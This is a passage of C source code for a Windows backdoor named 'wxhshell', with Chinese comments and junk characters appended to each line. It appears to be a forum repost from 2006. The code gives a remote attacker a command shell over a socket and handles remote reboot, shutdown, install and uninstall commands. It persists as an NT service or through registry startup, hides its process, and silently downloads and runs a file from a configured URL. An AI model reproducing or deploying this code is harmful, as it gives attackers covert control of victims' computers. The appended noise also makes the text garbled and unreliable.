  case 'i': {  /m*vY`  
    if(Install()) akQtre`5sd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UkL'h&J~  
    else f-6E>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `}u~nu<  
    break; -OuMC&  
    } [XQoag;!  
  // 卸载 #PmF@ CHR  
  case 'r': { .,x08M  
    if(Uninstall()) z|yC[ Ota  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AuU:613]W8  
    else !NYc!gYD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *$_<| g)9  
    break; VG\ER}s&P  
    } 6i \b&  
  // 显示 wxhshell 所在路径 Da8qR+*x  
  case 'p': { GL1!Z3  
    char svExeFile[MAX_PATH]; 66%kq [  
    strcpy(svExeFile,"\n\r"); \d%SC<s  
      strcat(svExeFile,ExeFile); bLoYg^T/  
        send(wsh,svExeFile,strlen(svExeFile),0); sM~|}|p  
    break; FUm-Fp  
    } y#Ch /Jg?|  
  // 重启 .x1EdfHed/  
  case 'b': { >UuLSF}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $0K9OF9$  
    if(Boot(REBOOT)) I\DT(9 'E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PxK  
    else { {{=7mbc  
    closesocket(wsh); QkzPzbF"  
    ExitThread(0); `&>!a  
    } eGLLh_V"  
    break; c-avX  
    } ")(1z@  
  // 关机 )mZ`j.  
  case 'd': { A0WQZt!FEN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M>_S%V4a  
    if(Boot(SHUTDOWN)) t/S~CIA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d|6*1hby  
    else { $- #M~eZv  
    closesocket(wsh); "$:nz}  
    ExitThread(0); ^ tm,gh  
    } F1|4([-<]  
    break; P[ KJuc  
    } 8N8B${X  
  // 获取shell } ho8d+A  
  case 's': { r0j:ll d  
    CmdShell(wsh); *RM#F !A  
    closesocket(wsh); K| Y r  
    ExitThread(0); m&|?mTo>m  
    break; Q.6pmaXrb  
  } ZT_EpT=1  
  // 退出 ?^IM2}(p  
  case 'x': { c6dL S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9}2I'7]  
    CloseIt(wsh); .6OE8w 1  
    break; o~^hsm[44J  
    } C `knFGb  
  // 离开 CWI(Q`((>  
  case 'q': { P RX:*0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <6n(a)L1  
    closesocket(wsh); Yq) wE|k/  
    WSACleanup(); \&AmX8" [  
    exit(1); 6z=:x+m  
    break; =UNzjmP503  
        } h+ELtf  
  } /2?GRwU~P  
  } w>VM--  
-oe&1RrdVg  
  // 提示信息 }N4=~'R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eB!0:nHN  
} {My/+{eS!?  
  } r"U$udwjg  
|$9k z31  
  return; &&(sZG w  
} S| !U=&  
g4j?E{M?  
// shell模块句柄 -@L*i|A  
int CmdShell(SOCKET sock) d:=5y)  
{  i)8,u  
STARTUPINFO si; WGVvBX7#  
ZeroMemory(&si,sizeof(si)); ga~rllm;i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0V`0="rQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qz(0iZ]Y  
PROCESS_INFORMATION ProcessInfo; Ge[N5N>  
char cmdline[]="cmd"; S4`uNB#Ht  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q^goi 1  
  return 0; PGu6hV{  
} =}U`q3k  
M.!U;U<?  
// 自身启动模式 kY4riZnm  
int StartFromService(void) kV6T#RVob  
{ ~++y4NB8Q  
typedef struct H-0A&oG  
{ Cq/*/jBM  
  DWORD ExitStatus; 0rA&_K[#-<  
  DWORD PebBaseAddress; i+T$&$b  
  DWORD AffinityMask; Al' sY^B  
  DWORD BasePriority; 0sk*A0HX-  
  ULONG UniqueProcessId; )MW.Y  
  ULONG InheritedFromUniqueProcessId; oXV  
}   PROCESS_BASIC_INFORMATION; ~n|*-rca  
eH=lX9  
PROCNTQSIP NtQueryInformationProcess; hq$:62NYg  
2Wq)y1R<T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^B> 4:+^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fkyj&M/  
JyYg)f  
  HANDLE             hProcess; i4v7x;m_p  
  PROCESS_BASIC_INFORMATION pbi; [D?RL `ZF  
)iluu1,o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *)U=ZO6S  
  if(NULL == hInst ) return 0; K )1K ]  
<+" Jh_N#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); US0)^TKrj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S#_i<u$$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }O5c.3  
z9YC9m)jK  
  if (!NtQueryInformationProcess) return 0; 44mYs`]  
L&Bc-kMH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TpuN[Y  
  if(!hProcess) return 0; @B*?owba>  
\BbemCPAm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zz,E4+'Rm  
2|kx:^D p  
  CloseHandle(hProcess); qA#!3<  
kOx2P(UAEx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZVVK:d Dgt  
if(hProcess==NULL) return 0; ]f-< s,@  
G;qC& 7T  
HMODULE hMod; @q],pD  
char procName[255]; 9]Uvy|  
unsigned long cbNeeded; Bj;Fy9[yb  
AnfJyltS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $^y6>@~  
T Jp(  
  CloseHandle(hProcess); %#yCp2  
O:q 0-  
if(strstr(procName,"services")) return 1; // 以服务启动 = %\;7  
2r,K/'  
  return 0; // 注册表启动 >QU1_'1r  
} 5L"{J5R}  
g(>;Z@Y  
// 主模块 /H^=`[Mr  
int StartWxhshell(LPSTR lpCmdLine) P+wV.pF|  
{ Wb68")$  
  SOCKET wsl; }.$oZo9J  
BOOL val=TRUE; uK="#1z cC  
  int port=0; +kd88Fx  
  struct sockaddr_in door; e$45OL  
Ma: xxsH.  
  if(wscfg.ws_autoins) Install(); "+[:\  
S`5^H~  
port=atoi(lpCmdLine); +D*b!5[  
>mgbs>  
if(port<=0) port=wscfg.ws_port; (`k0tC2  
x4pl#~Su  
  WSADATA data; LwZBM#_g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w t? 8-_  
gk"S`1>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3YR6@*!f/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y<#WC#3=  
  door.sin_family = AF_INET; s3W35S0Q3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , pq<.?&E  
  door.sin_port = htons(port); iXqc$!lTH  
5tX|@Z: z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Wm`SIV  
closesocket(wsl); Ts:3_4-k  
return 1; "O<JVC{m  
} K@Twiw~rB  
`f}}z5  
  if(listen(wsl,2) == INVALID_SOCKET) { cH.T6u_%  
closesocket(wsl); =4/LixsV|  
return 1; {W62%>v  
} qDxz`}Ly=  
  Wxhshell(wsl); t^)q[g  
  WSACleanup(); 4~53%=+  
/x"gpKwsB  
return 0; DzkE*vR  
o 4L9Xb7=G  
} \( LKLlam  
\_#0Z+pX  
// 以NT服务方式启动 Psp3~Kg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) **k3u t4  
{ aBj~370g  
DWORD   status = 0; JR<#el  
  DWORD   specificError = 0xfffffff; ;<1O86!  
R|Z$aHQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wciYv,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U59uP 7n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; is}o5\JEL  
  serviceStatus.dwWin32ExitCode     = 0; NDm@\<MIzB  
  serviceStatus.dwServiceSpecificExitCode = 0; /XjIm4EN  
  serviceStatus.dwCheckPoint       = 0; Wct +T,8  
  serviceStatus.dwWaitHint       = 0; L"rLalUw  
if9I7@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `o8b\p\zn  
  if (hServiceStatusHandle==0) return; L%ND?'@  
4NMv7[r  
status = GetLastError(); 1 M7=*w,  
  if (status!=NO_ERROR) %np b.C|+  
{ g^26Gb.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?D/r1%Z  
    serviceStatus.dwCheckPoint       = 0; D9B?9Qt2[  
    serviceStatus.dwWaitHint       = 0; L}ud+Wfox  
    serviceStatus.dwWin32ExitCode     = status; p#HPWW"  
    serviceStatus.dwServiceSpecificExitCode = specificError; mHE4Es0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z~F% K~(  
    return; T {a%:=`  
  } c>{6NSS -  
yb1A(~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RXkE"H{  
  serviceStatus.dwCheckPoint       = 0; [aU#"k)M  
  serviceStatus.dwWaitHint       = 0; 8XD9fB^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z'6 o$Xv  
} l7Y^C1hM  
5m&{ f>]T  
// 处理NT服务事件,比如:启动、停止 v_J\yW'K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o^wj_#ai$  
{ j_-$xz5-  
switch(fdwControl) - o$S=  
{ (k"|k  
case SERVICE_CONTROL_STOP: vQ^a7  
  serviceStatus.dwWin32ExitCode = 0; EB)j&y_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k2sb#]-/}  
  serviceStatus.dwCheckPoint   = 0; H6 ( ~6Bp5  
  serviceStatus.dwWaitHint     = 0; B< P H7  
  { d~tG#<^`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k[R/RhHQ,  
  } j)Zi4<./  
  return; i >Hh_q;'  
case SERVICE_CONTROL_PAUSE: O?p.kf{b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mc oHV]x  
  break; jb$sIZ%i  
case SERVICE_CONTROL_CONTINUE: G1  %c<1Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #dE#w#=r  
  break; zh2$U dZ|M  
case SERVICE_CONTROL_INTERROGATE: TKvUBy  
  break; yc8FEn!)&  
}; =\e}fyuK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2w)0>Y(_  
} }P#%aE&-  
X0^gj>GI|  
// 标准应用程序主函数 b[$%Wg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wxB?}   
{ {g@Wd2-J}  
E&}r"rbI  
// 获取操作系统版本 k$y(H;XA  
OsIsNt=GetOsVer(); [4]lAxrRF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d{0b*l%  
Kg=TPNf"$  
  // 从命令行安装 D Km`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Gfm?.O5  
s@OCj0'l  
  // 下载执行文件 X ~%I(?OX  
if(wscfg.ws_downexe) { @y[Zr6\z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yr-a8aSTE5  
  WinExec(wscfg.ws_filenam,SW_HIDE); -`n>q^A7e  
} quN7'5ZC[  
.21%~"dxJ  
if(!OsIsNt) { >Bq;Z}EV  
// 如果时win9x,隐藏进程并且设置为注册表启动 4,tMaQ  
HideProc(); xY(+[T!OF  
StartWxhshell(lpCmdLine); ^LaI{UDw%h  
} iaQ[}'6!$  
else Z^`&Z3s  
  if(StartFromService()) :k6|-A2  
  // 以服务方式启动 A3*ti!X<6  
  StartServiceCtrlDispatcher(DispatchTable); gF^l`1f"  
else F#7ZR*ZB1  
  // 普通方式启动 jy(,^B,]  
  StartWxhshell(lpCmdLine); U2 <*BRJ  
`* "u"7e  
return 0; J0a]Wz%  
}
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只看该作者 1 发表于: 2006-10-10
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